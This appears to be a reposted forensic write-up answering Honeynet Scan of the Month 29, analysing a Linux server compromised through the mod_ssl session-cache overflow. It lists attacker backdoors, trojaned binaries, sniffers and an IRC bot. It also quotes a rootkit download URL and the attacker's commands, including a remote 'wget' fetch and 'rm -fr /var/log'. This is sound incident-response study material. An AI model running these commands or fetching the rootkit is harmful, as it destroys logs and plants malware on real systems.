在启用SSL会话缓存后，mod_ssl会对SSL会话变量进行排序和存储，以便日后使用。Mod_SSL在实现'shm'或'dbm'会话缓存机制时调用了OpenSSL的i2d_SSL_SESSION函数，OpenSSL要求在调用该函数时必须为其分配足够大小的内存以保存数据。但是由于Mod_SSL没有按照正确的方式进行调用，Mod_SSL在处理连续会话时可能导致一个静态缓冲区发生溢出。
要利用这个漏洞，攻击者必须想办法增加代表会话的数据的长度，这就要通过在客户端指定超大的证书实现。这个漏洞需要服务器打开对客户端证书的认证并且客户端证书是经由一个Web服务器程序信任的CA的认证的情况下才能被利用。尽管漏洞难以被利用，我们仍然建议管理员尽快升级以避免潜在的危险。
<*来源：Ed Moyle （emoyle@scsnet.csc.com）
链接：http://archives.neohapsis.com/archives/bugtraq/2002-02/0313.html
http://archives.neohapsis.com/archives/bugtraq/2002-02/0369.html
http://www.apache-ssl.org/advisory-20020301.txt
http://archives.neohapsis.com/archives/bugtraq/2002-03/0012.html
http://www.linuxsecurity.com/advisories/other_advisory-1923.html
http://www.trustix.net/errata/mi ... 0034-apache.asc.txt
http://www.debian.org/security/2002/dsa-120
http://www.linux-mandrake.com/en/security/2002/MDKSA-2002-020.php
https://www.redhat.com/support/errata/RHSA-2002-041.html
http://distro.conectiva.com.br/a ... &anuncio=000465
https://www.redhat.com/support/errata/RHSA-2002-042.html
*>
从攻击者建立的文件中也可以看出他是利用Apache身份攻击的，我们运行：
[root@sbm79 checker]# cd /lib/.x
[root@sbm79 .x]# ls
可以得到结果如下：
total 172
drwxr-xr-x 3 root root 4096 2003-08-10 21:54 .
drwxr-xr-x 8 root root 4096 2003-08-10 15:32 ..
-rwxr-xr-x 1 apache apache 1223 2003-03-20 15:53 .boot
-rwxr-xr-x 1 apache apache 17931 2003-01-08 14:25 cl
-rwxr-xr-x 1 apache apache 303 2002-12-23 20:07 hide
-rw-r--r-- 1 root root 222 2003-08-10 15:32 hide.log
-rwxr-xr-x 1 apache apache 59137 2003-03-22 09:00 inst
-rw-r--r-- 1 root root 2442 2003-08-10 15:32 install.log
-rw-r--r-- 1 root root 1 2003-08-10 15:32 ip
-rwxr-xr-x 1 apache apache 25795 2003-01-08 14:25 log
drwxrwxrwx 2 root root 4096 2003-08-10 21:44 s
-rwxr-xr-x 1 root root 28632 2003-08-10 15:32 sk
看到了吧，很多以apache身份创建的文件！
3.2 安装应用程序
psybnc是一个IRCBot。攻击者安装该软件并且多次使用它登陆mesa.az.us.undernet.org、fairfax.va.us.undernet.org等IRC服务器。
3.3 后门
让我们来看看攻击者留下了哪些后门吧！
首先是为了隐藏他的攻击踪迹而进行的文件替换：
/usr/bin/top
/bin/netstat
/bin/ls
/bin/ps
/sbin/ifconfig
其次是登陆到主机上后可以无需认证就成拥有管理员权限的suid程序：
/dev/shm/k
再次是远程就可以登陆受害主机的远程后门：
/lib/.x/s/xopen是端口开在3128的sshd后门
/usr/bin/smbd -D是sshd后门启动端口是80和443
最后该是嗅探器了吧……
/usr/bin/(swapd)
/lib/.x/s/lsn
还有……还有……如果一定要再说的话，那么攻击者还有一个攻击未遂……没有安装成功的lkm后门sk-1.3b.tar.gz，可以在下面的地址下载到：
http://sd.g-art.nl/sk
3.4 加固
有些攻击者总是很天真的希望被他攻破的服务器仅仅属于他一个人，因此他们在一定程序上也会做些“好事”。在这个案例中，攻击者将Apache OpenSSL的漏洞进行了更改，我们在文件系统的/root下可以发现sslstop的软件包和解开的文件，并且在/.bash_history中也可以看到攻击者是从izolam.net将它下载回来的：
wget izolam.net/stopssl.tar.gz
有句题外话是：我们可以试试，这台服务器仅仅补上一个漏洞是否足够
建议采用nessus(http://www.nessus.org)或者采用xscan(兼容nasl脚本，运行于windows平台的扫描器，可以在http://www.xfocus.org下载Beta版)从外部对主机进行扫描，并且在主机上人工审查开放端口及服务情况，判断是否存在其它风险。
本台主机如果恢复正常工作，则至少还有以下三个高风险漏洞：
Wu-ftpd wu-2.6.1-18
SSH-1.99-OpenSSH_2.9p2
Samba 2.2.1
3.5 破坏
他不希望别人抓到他，于是用rm说明了一切！
rm -fr /var/log
4 回答SOM 29的问题
4.1 Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.
请参见前面的描述。
4.2 Explain the impact that your actions had on the running system.
在一定程度上进行了磁盘操作。可能会破坏现场，导致被删除数据无法恢复。
4.3 List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).
我们采用自己静态编译的netstat来察看进程时，列出的进程中下列是非正常的：
[root@sbm79 mnt]# /mnt/netstat -nap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd
tcp 0 1378 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd
udp 0 288 192.168.1.79:1042 192.168.1.1:53 ESTABLISHED 15119/initd
udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen
4.4 Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?
与上面相同，我们采用/mnt/netstat -nap命令，可以看到有下面两个状态是ESTABLISHED的连接：
tcp 0 1378 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd
udp 0 288 192.168.1.79:1042 192.168.1.1:53 ESTABLISHED 15119/initd
前者是攻击者连接到主机，试图通过该主机连接到IRC服务器。
后者是被攻击的机器在试图通过192.168.1.1(在/etc/hosts中定义的域名服务器)进行域名查询。
4.5 How many instances of an SSH server were installed and at what times?
共有三个ssh的服务器在本机上运行，它们分别是
[root@sbm79 root]# ls -la /lib/.x/s/xopen
-rwxrwxrwx 1 root root 217667 Dec 28 2002 /lib/.x/s/xopen
[root@sbm79 root]# ls -la "/usr/bin/smbd -D"
-rwxr-xr-x 1 root root 672527 Sep 3 2002 /usr/bin/smbd -D
[root@sbm79 root]# ls -la /usr/sbin/sshd
-rwxr-xr-x 1 root root 246220 Sep 6 2001 /usr/sbin/sshd
4.6 Which instances of the SSH servers from question 5 were run?
4.7 Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?
4.8 Which system executables (if any) were trojaned and what configuration files did they use?
简单采用md5sum校验，可以发现下列文件被替换了。
/usr/bin/top: FAILED
/bin/netstat: FAILED
/bin/ls: FAILED
/bin/ps: FAILED
/sbin/ifconfig: FAILED
另外有两份rc文件被更改过，其中/etc/rc.d/init.d/functions的最末行被加上了：
/usr/bin/crontabs -t1 -X53 -p
4.9 How and from where was the system likely compromised?
系统是通过Apache+ModSSL的漏洞被攻击的，我们可以通过以下几个证据来下这个结论：
1. 我们恢复出来的系统日志(ssl_engine_log和error_log)中的如下字样：
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
2. 攻击者攻击后在/lib/.x目录下建立的部份文件是Apache身份
-rwxr-xr-x 1 apache apache 1223 2003-03-20 15:53 .boot
-rwxr-xr-x 1 apache apache 17931 2003-01-08 14:25 cl
-rwxr-xr-x 1 apache apache 303 2002-12-23 20:07 hide
-rwxr-xr-x 1 apache apache 59137 2003-03-22 09:00 inst
-rwxr-xr-x 1 apache apache 25795 2003-01-08 14:25 log
4.10 What nationality do you believe the attacker(s) to be, and why?
攻击者来自罗马尼亚(Romania)，由以下证据可以判断：
1. apache的日志中有
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
我们采用checkdomain察看该IP地址213.154.118.219的信息(http://www.checkdomain.com/cgi-b ... ain=213.154.118.219)，可以看到：
213.154.118.219 (IP Address)
Rights restricted by copyright. See http://www.ripe.net/ripencc/pub-services/db/copyright.html
Registrant:
PCNET Data Network S.A.
Address:
PROVIDER ADSL Network
Country:
RO
2. psybnc的日志中有
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
其中sanido-09.is.pcnet.ro和sanido-08.is.pcnet.ro都是罗马尼亚的地址。
3. 在系统连接中有
tcp 0 1378 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd
该地址也是RO的地址。
本来以为在/.bash_history中的主机izolam.net会是攻击者自己的主机，但这是一个美国的用户注册的，估计是另一个受害者。
5 最后
Game Over?
不，还会有无数的攻击发生，因此还会有无数有趣的分析等着你……
--------------------------------------------------------------------------------
原文链接：
http://www.xfocus.net/projects/honeynet/scan/scan29.html |
|
IP卡
狗仔卡
发表于 2004-6-14 13:23:42
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
显身卡